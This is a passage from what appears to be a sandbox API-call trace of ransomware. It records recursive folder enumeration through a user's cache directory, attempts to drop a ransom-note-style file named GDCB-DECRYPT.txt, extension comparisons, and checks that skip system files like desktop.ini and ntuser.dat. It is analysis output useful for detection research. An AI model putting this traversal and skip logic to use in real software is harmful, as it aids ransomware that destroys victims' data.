Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.124] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 185 [0170.124] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.124] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.124] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0170.124] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0170.124] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.124] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 182 [0170.124] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.124] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.124] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.124] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 186 [0170.124] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.125] GetLastError () returned 0x50 [0170.125] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.126] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 169 [0170.126] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.126] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.126] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.126] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.126] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.126] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.126] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.126] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.126] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.126] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.126] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0170.126] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.126] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.126] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.126] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.126] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.126] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.126] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 175 [0170.126] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.126] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd290 [0170.127] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.127] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.127] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 181 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.127] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.127] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 181 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.127] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.127] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 181 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.127] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.127] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 181 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.127] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.127] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 191 [0170.127] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.127] lstrcmpW (lpString1="index", lpString2=".") returned 1 [0170.127] lstrcmpW (lpString1="index", lpString2="..") returned 1 [0170.127] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.127] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 180 [0170.127] FindNextFileW (in: hFindFile=0x5dd290, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.127] FindClose (in: hFindFile=0x5dd290 | out: hFindFile=0x5dd290) returned 1 [0170.127] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.128] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt") returned 192 [0170.128] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.129] GetLastError () returned 0x50 [0170.129] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.129] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 175 [0170.129] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.129] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dd410 [0170.129] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.129] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.129] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.129] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.129] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.129] lstrcmpW (lpString1="data_0", lpString2=".") returned 1 [0170.129] lstrcmpW (lpString1="data_0", lpString2="..") returned 1 [0170.129] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.129] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.130] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 181 [0170.130] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 181 [0170.130] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.130] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.130] lstrcmpW (lpString1="data_1", lpString2=".") returned 1 [0170.130] lstrcmpW (lpString1="data_1", lpString2="..") returned 1 [0170.130] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.130] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.130] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 181 [0170.130] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 181 [0170.130] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.130] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.130] lstrcmpW (lpString1="data_2", lpString2=".") returned 1 [0170.130] lstrcmpW (lpString1="data_2", lpString2="..") returned 1 [0170.130] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.130] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.130] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 181 [0170.130] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 181 [0170.130] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.130] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.131] lstrcmpW (lpString1="data_3", lpString2=".") returned 1 [0170.131] lstrcmpW (lpString1="data_3", lpString2="..") returned 1 [0170.131] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.131] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.131] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 181 [0170.131] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 181 [0170.131] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.131] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.131] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.131] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.131] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.131] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.131] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 191 [0170.131] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 191 [0170.131] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 191 [0170.131] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 191 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.131] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", 